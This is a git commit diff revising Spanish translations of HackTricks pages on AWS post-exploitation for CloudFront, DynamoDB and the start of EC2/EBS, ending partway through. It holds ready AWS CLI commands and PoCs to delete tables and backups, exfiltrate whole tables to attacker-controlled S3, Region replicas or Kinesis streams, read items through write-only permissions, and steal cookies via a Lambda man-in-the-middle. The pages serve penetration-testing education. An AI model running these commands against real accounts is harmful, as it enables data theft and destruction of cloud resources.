mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-12 04:55:32 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
Translator
@@ -4,16 +4,16 @@
|
||||
|
||||
## CloudFront
|
||||
|
||||
Para más información consulta:
|
||||
Para más información, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudfront:Delete*`
|
||||
Un atacante al que se le conceda cloudfront:Delete* puede eliminar distributions, policies y otros objetos críticos de configuración del CDN — por ejemplo distributions, cache/origin policies, key groups, origin access identities, functions/configs, y recursos relacionados. Esto puede causar interrupción del servicio, pérdida de contenido y eliminación de configuraciones o artefactos forenses.
|
||||
Un atacante al que se le haya concedido cloudfront:Delete* puede eliminar distribuciones, políticas y otros objetos críticos de configuración de la CDN — por ejemplo distribuciones, políticas de caché/origen, key groups, origin access identities, funciones/configs y recursos relacionados. Esto puede causar interrupción del servicio, pérdida de contenido y eliminación de configuraciones o artefactos forenses.
|
||||
|
||||
Para eliminar una distribution un atacante podría usar:
|
||||
Para eliminar una distribución un atacante podría usar:
|
||||
```bash
|
||||
aws cloudfront delete-distribution \
|
||||
--id <DISTRIBUTION_ID> \
|
||||
@@ -21,20 +21,20 @@ aws cloudfront delete-distribution \
|
||||
```
|
||||
### Man-in-the-Middle
|
||||
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propone un par de escenarios diferentes donde una **Lambda** podría añadirse (o modificarse si ya se está usando) en una **comunicación a través de CloudFront** con el propósito de **robar** información de usuario (como la **session cookie**) y **modificar** la **response** (inyectando un script JS malicioso).
|
||||
Este [**artículo**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propone un par de escenarios diferentes en los que se podría añadir (o modificar si ya se está usando) una **Lambda** en la **comunicación a través de CloudFront** con el propósito de **robar** información de los usuarios (como la **cookie** de sesión) y **modificar** la **respuesta** (inyectando un script JS malicioso).
|
||||
|
||||
#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
|
||||
#### escenario 1: MitM where CloudFront is configured to access some HTML of a bucket
|
||||
|
||||
- **Crear** la **función** maliciosa.
|
||||
- **Asociarla** con la distribución de CloudFront.
|
||||
- **Establecer** el **event type** a "Viewer Response".
|
||||
- **Asociarla** a la distribución de CloudFront.
|
||||
- **Establecer el tipo de evento a "Viewer Response"**.
|
||||
|
||||
Accediendo a la response podrías robar la cookie de los usuarios e inyectar un JS malicioso.
|
||||
Accediendo a la respuesta podrías robar la cookie de los usuarios e inyectar un JS malicioso.
|
||||
|
||||
#### scenario 2: MitM where CloudFront is already using a lambda function
|
||||
#### escenario 2: MitM where CloudFront is already using a Lambda function
|
||||
|
||||
- **Modificar el código** de la lambda function para robar información sensible
|
||||
- **Modificar el código** de la función Lambda para robar información sensible
|
||||
|
||||
Puedes revisar el [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
Puedes revisar el [**tf code para recrear estos escenarios aquí**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@ Para más información consulta:
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
Un attacker con este permiso podrá **obtener elementos de las tablas por la clave primaria** (no puedes simplemente solicitar todos los datos de la tabla). Esto significa que necesitas conocer las claves primarias (puedes obtenerlas consultando los metadatos de la tabla (`describe-table`).
|
||||
Un atacante con este permiso podrá **obtener elementos de las tablas por la clave primaria** (no puedes simplemente solicitar todos los datos de la tabla). Esto significa que necesitas conocer las claves primarias (puedes obtenerlas obteniendo los metadatos de la tabla (`describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Indirect privesc al localizar información sensible en la tabla
|
||||
**Impacto potencial:** Indirect privesc al localizar información sensible en la tabla
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Similar a los permisos anteriores** este permite a un atacante potencial leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar:
|
||||
**De manera similar a los permisos anteriores** este permite a un atacante potencial leer valores de solo 1 tabla dada la clave primaria de la entrada a recuperar:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**Impacto potencial:** Privesc indirecto al localizar información sensible en la tabla
|
||||
**Impacto potencial:** privesc indirecto al localizar información sensible en la tabla
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Similar a los permisos anteriores** esta permite a un atacante potencial leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar. Permite usar un [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), pero la única comparación permitida con la clave primaria (que debe aparecer) es "EQ", por lo que no puedes usar una comparación para obtener toda la base de datos en una petición.
|
||||
**Similar a los permisos anteriores**, este permite a un atacante potencial leer valores de solo 1 tabla dada la clave primaria de la entrada a recuperar. Permite usar un [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), pero la única comparación permitida con la clave primaria (que debe aparecer) es "EQ", por lo que no puedes usar una comparación para obtener toda la base de datos en una solicitud.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,15 +107,15 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impacto potencial:** Privesc indirecto al localizar información sensible en la tabla
|
||||
**Impacto potencial:** Indirect privesc al localizar información sensible en la tabla
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
Puedes usar este permiso para **dump toda la tabla fácilmente**.
|
||||
Puedes usar este permiso para **dump the entire table easily**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**Impacto potencial:** privesc indirecto al localizar información sensible en la tabla
|
||||
**Impacto potencial:** Indirect privesc al localizar información sensible en la tabla
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
@@ -124,7 +124,7 @@ Puedes usar este permiso para **dump la tabla completa fácilmente**.
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
Este permiso también permite ejecutar `batch-execute-statement` como:
|
||||
Este permiso también permite realizar `batch-execute-statement` como:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
@@ -135,7 +135,7 @@ pero necesitas especificar la clave primaria con un valor, por lo que no es tan
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
Este permiso permitirá a un atacante **exportar toda la tabla a un S3 bucket** de su elección:
|
||||
Este permiso permitirá a un atacante **exportar la tabla completa a un S3 bucket** de su elección:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,12 +144,12 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Ten en cuenta que para que esto funcione la tabla debe tener point-in-time-recovery habilitado; puedes comprobar si la tabla lo tiene con:
|
||||
Ten en cuenta que para que esto funcione, la tabla debe tener point-in-time-recovery habilitado; puedes comprobar si la tabla lo tiene con:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
Si no está habilitado, necesitarás **habilitarlo** y para eso necesitas el permiso **`dynamodb:ExportTableToPointInTime`**:
|
||||
Si no está habilitado, necesitarás **habilitarlo** y para ello necesitas el permiso **`dynamodb:ExportTableToPointInTime`**:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
@@ -159,18 +159,18 @@ aws dynamodb update-continuous-backups \
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
Con estos permisos, un atacante podría **crear una nueva tabla a partir de una copia de seguridad** (o incluso crear una copia de seguridad para luego restaurarla en una tabla distinta). Luego, con los permisos necesarios, podría consultar la **información** de las copias de seguridad que **ya no estarían** en la tabla de producción.
|
||||
Con estos permisos, un atacante podría **crear una nueva tabla a partir de un backup** (o incluso crear un backup para luego restaurarlo en una tabla diferente). Entonces, con los permisos necesarios, podría comprobar **información** de los backups que **ya no podrían estar en la tabla de producción**.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**Impacto potencial:** Indirect privesc al localizar información sensible en la copia de seguridad de la tabla
|
||||
**Impacto potencial:** privesc indirecto al localizar información sensible en la copia de seguridad de la tabla
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
Este permiso permite a los usuarios agregar un **nuevo item a la tabla o reemplazar un item existente** con un nuevo item. Si ya existe un item con la misma clave primaria, el **item completo será reemplazado** por el nuevo item. Si la clave primaria no existe, se **creará** un nuevo item con la clave primaria especificada.
|
||||
Este permiso permite a los usuarios añadir un **nuevo elemento a la tabla o reemplazar un elemento existente** por uno nuevo. Si un elemento con la misma clave primaria ya existe, el **elemento completo será reemplazado** por el nuevo elemento. Si la clave primaria no existe, se **creará** un nuevo elemento con la clave primaria especificada.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -206,7 +206,7 @@ aws dynamodb put-item \
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
Este permiso permite a los usuarios **modificar los atributos existentes de un ítem o añadir nuevos atributos a un ítem**. No **reemplaza** el ítem completo; solo actualiza los atributos especificados. Si la clave primaria no existe en la tabla, la operación **creará un nuevo ítem** con la clave primaria especificada y establecerá los atributos indicados en la expresión de actualización.
|
||||
Este permiso permite a los usuarios **modificar los atributos existentes de un elemento o añadir nuevos atributos a un elemento**. No **reemplaza** el elemento completo; solo actualiza los atributos especificados. Si la clave primaria no existe en la tabla, la operación **creará un nuevo elemento** con la clave primaria especificada y establecerá los atributos indicados en la expresión de actualización.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -242,7 +242,7 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impacto potencial:** Explotación de más vulnerabilidades/bypasses al poder agregar/modificar datos en una tabla de DynamoDB
|
||||
**Impacto potencial:** Explotación de vulnerabilidades/bypasses adicionales al poder agregar/modificar datos en una tabla de DynamoDB
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
@@ -252,24 +252,24 @@ aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**Impacto potencial**: Pérdida de datos y la interrupción de servicios que dependen de la tabla eliminada.
|
||||
**Impacto potencial**: Pérdida de datos e interrupción de los servicios que dependen de la tabla eliminada.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
Un atacante con este permiso puede **eliminar una copia de seguridad de DynamoDB, lo que potencialmente causa pérdida de datos en caso de un escenario de recuperación ante desastres**.
|
||||
Un atacante con este permiso puede **eliminar una copia de seguridad de DynamoDB, lo que podría provocar pérdida de datos en caso de un escenario de recuperación ante desastres**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Impacto potencial**: Pérdida de datos e incapacidad para recuperarlos desde una copia de seguridad durante un escenario de recuperación ante desastres.
|
||||
**Impacto potencial**: Pérdida de datos e incapacidad para recuperarse desde una copia de seguridad durante un escenario de recuperación ante desastres.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Probar si esto realmente funciona
|
||||
> TODO: Probar si esto funciona realmente
|
||||
|
||||
Un atacante con estos permisos puede **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. Esto permite al atacante monitorizar y exfiltrate cambios de datos, potencialmente conduciendo a data leakage.
|
||||
Un atacante con estos permisos puede **habilitar un stream en una tabla de DynamoDB, actualizar la tabla para comenzar a transmitir cambios y luego acceder al stream para supervisar los cambios en la tabla en tiempo real**. Esto permite al atacante supervisar y exfiltrate los cambios de datos, lo que potencialmente conduce a data leakage.
|
||||
|
||||
1. Habilitar un stream en una tabla de DynamoDB:
|
||||
```bash
|
||||
@@ -278,13 +278,13 @@ aws dynamodb update-table \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. Describe el flujo para obtener el ARN y otros detalles:
|
||||
2. Describe el stream para obtener el ARN y otros detalles:
|
||||
```bash
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. Obtener el shard iterator usando el stream ARN:
|
||||
3. Obtén el shard iterator usando el ARN del stream:
|
||||
```bash
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
@@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. Utiliza el shard iterator para acceder y exfiltrate datos del stream:
|
||||
4. Usa el shard iterator para acceder y exfiltrate datos del stream:
|
||||
```bash
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Impacto potencial**: Monitorización en tiempo real y exfiltración de datos de los cambios de la tabla DynamoDB.
|
||||
**Impacto potencial**: Monitorización en tiempo real y exfiltración de datos de los cambios en la tabla DynamoDB.
|
||||
|
||||
### Leer items vía `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD`
|
||||
### Leer items mediante `dynamodb:UpdateItem` y `ReturnValues=ALL_OLD`
|
||||
|
||||
Un atacante con solo `dynamodb:UpdateItem` en una tabla puede leer items sin ninguno de los permisos de lectura habituales (`GetItem`/`Query`/`Scan`) realizando una actualización inofensiva y solicitando `--return-values ALL_OLD`. DynamoDB devolverá la imagen completa anterior a la actualización del item en el campo `Attributes` de la respuesta (esto no consume RCUs).
|
||||
Un atacante con solo `dynamodb:UpdateItem` en una tabla puede leer items sin ninguno de los permisos de lectura habituales (`GetItem`/`Query`/`Scan`) realizando una actualización inofensiva y solicitando `--return-values ALL_OLD`. DynamoDB devolverá la imagen completa previa a la actualización del item en el campo `Attributes` de la respuesta (esto no consume RCUs).
|
||||
|
||||
- Permisos mínimos: `dynamodb:UpdateItem` en la tabla/clave objetivo.
|
||||
- Requisitos previos: Debes conocer la clave primaria del item.
|
||||
|
||||
Example (adds a harmless attribute and exfiltrates the previous item in the response):
|
||||
Ejemplo (añade un atributo inofensivo y exfiltra el item previo en la respuesta):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
@@ -318,14 +318,14 @@ aws dynamodb update-item \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
La respuesta del CLI incluirá un bloque `Attributes` que contiene el item previo completo (todos los atributos), proporcionando efectivamente una primitiva de lectura desde un acceso solo de escritura.
|
||||
La respuesta del CLI incluirá un bloque `Attributes` que contiene el item previo completo (todos los atributos), proporcionando efectivamente una primitiva de lectura desde acceso solo-escritura.
|
||||
|
||||
**Impacto potencial:** Leer elementos arbitrarios de una tabla con solo permisos de escritura, permitiendo la exfiltración de datos sensibles cuando se conocen las claves primarias.
|
||||
**Impacto potencial:** Leer items arbitrarios de una tabla con solo permisos de escritura, permitiendo la exfiltration de datos sensibles cuando se conocen las claves primarias.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
Exfiltración sigilosa añadiendo una nueva Regional Replica a un DynamoDB Global Table (versión 2019.11.21). Si un principal puede añadir una réplica regional, toda la tabla se replica en la Region elegida por el atacante, desde la cual el atacante puede leer todos los elementos.
|
||||
Stealth exfiltration al añadir una nueva replica Region a una DynamoDB Global Table (versión 2019.11.21). Si un principal puede añadir una réplica regional, la tabla completa se replica a la Region elegida por el atacante, desde la cual el atacante puede leer todos los items.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
@@ -354,13 +354,13 @@ aws dynamodb update-table \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permisos: `dynamodb:UpdateTable` (con `replica-updates`) o `dynamodb:CreateTableReplica` en la tabla objetivo. Si se usa un CMK en la réplica, pueden ser necesarios permisos de KMS para esa clave.
|
||||
Permisos: `dynamodb:UpdateTable` (con `replica-updates`) o `dynamodb:CreateTableReplica` en la tabla objetivo. Si se usa una CMK en la réplica, pueden requerirse permisos de KMS para esa clave.
|
||||
|
||||
Impacto potencial: Replicación de toda la tabla a una región controlada por el atacante, lo que permite una exfiltración sigilosa de datos.
|
||||
Impacto potencial: Replicación de toda la tabla a una Región controlada por el atacante, lo que permite la exfiltración sigilosa de datos.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
### `dynamodb:TransactWriteItems` (lectura mediante condición fallida + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
Un atacante con privilegios de escritura transaccional puede exfiltrar los atributos completos de un ítem existente realizando un `Update` dentro de `TransactWriteItems` que falla intencionalmente una `ConditionExpression` mientras se establece `ReturnValuesOnConditionCheckFailure=ALL_OLD`. En caso de fallo, DynamoDB incluye los atributos previos en las razones de cancelación de la transacción, convirtiendo efectivamente el acceso solo-escritura en acceso de lectura a las claves objetivo.
|
||||
Un atacante con privilegios de escritura transaccional puede exfiltrar los atributos completos de un elemento existente realizando un `Update` dentro de `TransactWriteItems` que intencionalmente hace fallar una `ConditionExpression` mientras se establece `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Al fallar, DynamoDB incluye los atributos previos en las razones de cancelación de la transacción, convirtiendo efectivamente el acceso únicamente de escritura en acceso de lectura de las claves objetivo.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
@@ -409,18 +409,18 @@ print(e.response['CancellationReasons'][0]['Item'])
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permisos: `dynamodb:TransactWriteItems` en la tabla objetivo (y el ítem subyacente). No se requieren permisos de lectura.
|
||||
Permisos: `dynamodb:TransactWriteItems` en la tabla objetivo (y el item subyacente). No se requieren permisos de lectura.
|
||||
|
||||
Impacto potencial: Leer ítems arbitrarios (por clave primaria) de una tabla usando solo privilegios de escritura transaccional mediante las razones de cancelación devueltas.
|
||||
Impacto potencial: Leer items arbitrarios (por clave primaria) de una tabla usando solo privilegios de escritura transaccional a través de las razones de cancelación devueltas.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` en GSI
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
|
||||
|
||||
Evita las restricciones de lectura creando un Global Secondary Index (GSI) con `ProjectionType=ALL` sobre un atributo de baja entropía, establece ese atributo a un valor constante en todos los ítems y luego `Query` el índice para recuperar los ítems completos. Esto funciona incluso si `Query`/`Scan` en la tabla base está denegado, siempre que puedas consultar el ARN del índice.
|
||||
Eludir las restricciones de lectura creando un Global Secondary Index (GSI) con `ProjectionType=ALL` en un atributo de baja entropía, establecer ese atributo a un valor constante en los items, y luego `Query` el índice para recuperar los items completos. Esto funciona incluso si `Query`/`Scan` en la tabla base está denegado, siempre que puedas consultar el ARN del índice.
|
||||
|
||||
- Permisos mínimos:
|
||||
- `dynamodb:UpdateTable` en la tabla objetivo (para crear el GSI con `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` en las claves de la tabla objetivo (para establecer el atributo indexado en cada ítem).
|
||||
- `dynamodb:UpdateItem` en las claves de la tabla objetivo (para establecer el atributo indexado en cada item).
|
||||
- `dynamodb:Query` en el ARN del recurso del índice (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Pasos (PoC en us-east-1):
|
||||
@@ -461,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**Impacto potencial:** Full table exfiltration al consultar un GSI recién creado que proyecta todos los atributos, incluso cuando las APIs de lectura de la tabla base están denegadas.
|
||||
**Impacto potencial:** Exfiltración completa de la tabla al consultar un GSI recién creado que proyecta todos los atributos, incluso cuando las APIs de lectura de la tabla base están denegadas.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration a través de Kinesis Data Streams)
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Exfiltración continua vía Kinesis Data Streams)
|
||||
|
||||
Abusar de DynamoDB Kinesis streaming destinations para exfiltrate continuamente los cambios desde una tabla hacia un Kinesis Data Stream controlado por el atacante. Una vez habilitado, cada evento INSERT/MODIFY/REMOVE se reenvía casi en tiempo real al stream sin necesitar permisos de lectura sobre la tabla.
|
||||
Abusar de las Kinesis streaming destinations de DynamoDB para exfiltrar de forma continua los cambios de una tabla hacia un Kinesis Data Stream controlado por el atacante. Una vez habilitado, cada evento INSERT/MODIFY/REMOVE se reenvía en casi tiempo real al stream sin necesitar permisos de lectura sobre la tabla.
|
||||
|
||||
Permisos mínimos (atacante):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` en la tabla objetivo
|
||||
- Opcionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` para monitorizar el estado
|
||||
- Permisos de lectura en el Kinesis stream propiedad del atacante para consumir registros: `kinesis:*`
|
||||
- Opcionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` para supervisar el estado
|
||||
- Permisos de lectura sobre el Kinesis stream propiedad del atacante para consumir registros: `kinesis:*`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
@@ -530,17 +530,17 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
### `dynamodb:UpdateTimeToLive`
|
||||
|
||||
Un atacante con el permiso dynamodb:UpdateTimeToLive puede cambiar la configuración de TTL (time-to-live) de una tabla — habilitando o deshabilitando el TTL. Cuando el TTL está habilitado, los ítems individuales que contienen el atributo TTL configurado serán eliminados automáticamente una vez que se alcance su tiempo de expiración. El valor de TTL es simplemente otro atributo en cada ítem; los ítems sin ese atributo no se ven afectados por la eliminación basada en TTL.
|
||||
Un atacante con el permiso dynamodb:UpdateTimeToLive puede cambiar la configuración de TTL (time-to-live) de una tabla — habilitando o deshabilitando TTL. Cuando TTL está habilitado, los items individuales que contienen el atributo TTL configurado se eliminarán automáticamente una vez alcanzado su tiempo de expiración. El valor TTL es simplemente otro atributo en cada item; los items sin ese atributo no se ven afectados por la eliminación basada en TTL.
|
||||
|
||||
Si los ítems no contienen ya el atributo TTL, el atacante también necesitaría un permiso que permita actualizar ítems (por ejemplo dynamodb:UpdateItem) para agregar el atributo TTL y provocar eliminaciones masivas.
|
||||
Si los items no contienen ya el atributo TTL, el atacante también necesitaría un permiso que permita actualizar items (por ejemplo dynamodb:UpdateItem) para añadir el atributo TTL y desencadenar eliminaciones masivas.
|
||||
|
||||
Primero habilite el TTL en la tabla, especificando el nombre del atributo que se usará para la expiración:
|
||||
Primero habilita TTL en la tabla, especificando el nombre del atributo a usar para la expiración:
|
||||
```bash
|
||||
aws dynamodb update-time-to-live \
|
||||
--table-name <TABLE_NAME> \
|
||||
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
|
||||
```
|
||||
Entonces actualiza los items para añadir el atributo TTL (epoch seconds) para que expiren y sean eliminados:
|
||||
A continuación, actualiza los items para agregar el atributo TTL (epoch seconds) para que expiren y sean eliminados:
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TABLE_NAME> \
|
||||
@@ -550,9 +550,9 @@ aws dynamodb update-item \
|
||||
```
|
||||
### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
|
||||
|
||||
Un atacante con permisos `dynamodb:RestoreTableFromAwsBackup` o `dynamodb:RestoreTableToPointInTime` puede crear nuevas tablas restauradas desde backups o desde point-in-time recovery (PITR) sin sobrescribir la tabla original. La tabla restaurada contiene una imagen completa de los datos en el punto seleccionado, por lo que el atacante puede usarla para exfiltrar información histórica u obtener un volcado completo del estado pasado de la base de datos.
|
||||
Un atacante con permisos dynamodb:RestoreTableFromAwsBackup o dynamodb:RestoreTableToPointInTime puede crear nuevas tablas restauradas desde backups o desde point-in-time recovery (PITR) sin sobrescribir la tabla original. La tabla restaurada contiene una imagen completa de los datos en el punto seleccionado, por lo que el atacante puede usarla para exfiltrar información histórica u obtener un volcado completo del estado pasado de la base de datos.
|
||||
|
||||
Restaurar una tabla de DynamoDB desde una copia de seguridad bajo demanda:
|
||||
Restaurar una tabla de DynamoDB desde un backup on-demand:
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--target-table-name <NEW_TABLE_NAME> \
|
||||
@@ -567,7 +567,7 @@ aws dynamodb restore-table-to-point-in-time \
|
||||
````
|
||||
</details>
|
||||
|
||||
**Impacto potencial:** Exfiltración continua y casi en tiempo real de los cambios en la tabla hacia un Kinesis stream controlado por el atacante sin realizar operaciones directas de lectura sobre la tabla.
|
||||
**Potential Impact:** Exfiltración continua, casi en tiempo real, de los cambios de la tabla a un stream de Kinesis controlado por un atacante sin operaciones de lectura directa sobre la tabla.
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# AWS - EC2, EBS, SSM & VPC Post-Explotación
|
||||
# AWS - EC2, EBS, SSM & VPC Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2 & VPC
|
||||
|
||||
Para más información, consulta:
|
||||
Para más información consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,8 +12,8 @@ Para más información, consulta:
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **duplica el tráfico entrante y saliente de las instancias EC2 dentro de una VPC** sin necesidad de instalar nada en las propias instancias. Este tráfico duplicado normalmente se enviaría a algo como un sistema de detección de intrusiones de red (IDS) para su análisis y monitorización.\
|
||||
Un atacante podría abusar de esto para capturar todo el tráfico y obtener información sensible de él:
|
||||
VPC traffic mirroring **duplica el tráfico entrante y saliente para las instancias EC2 dentro de una VPC** sin necesidad de instalar nada en las propias instancias. Este tráfico duplicado normalmente se enviaría a algo como un sistema de detección de intrusiones de red (IDS) para su análisis y monitorización.\
|
||||
Un atacante podría abusar de esto para capturar todo el tráfico y obtener información sensible:
|
||||
|
||||
Para más información consulta esta página:
|
||||
|
||||
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
|
||||
|
||||
### Copiar instancia en ejecución
|
||||
|
||||
Las instancias suelen contener algún tipo de información sensible. Hay diferentes maneras de acceder (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Sin embargo, otra forma de comprobar lo que contienen es **crear una AMI y lanzar una nueva instancia (incluso en tu propia cuenta) a partir de ella**:
|
||||
Las instancias suelen contener algún tipo de información sensible. Hay diferentes maneras de acceder (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Sin embargo, otra forma de comprobar su contenido es **crear una AMI y ejecutar una nueva instancia (incluso en tu propia cuenta) a partir de ella**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Los snapshots son copias de seguridad de volúmenes**, que normalmente contendrán **información sensible**, por lo que revisarlos debería revelar esta información.\
|
||||
Si encuentras un **volumen sin snapshot** podrías: **Crear un snapshot** y realizar las siguientes acciones o simplemente **montarlo en una instancia** dentro de la cuenta:
|
||||
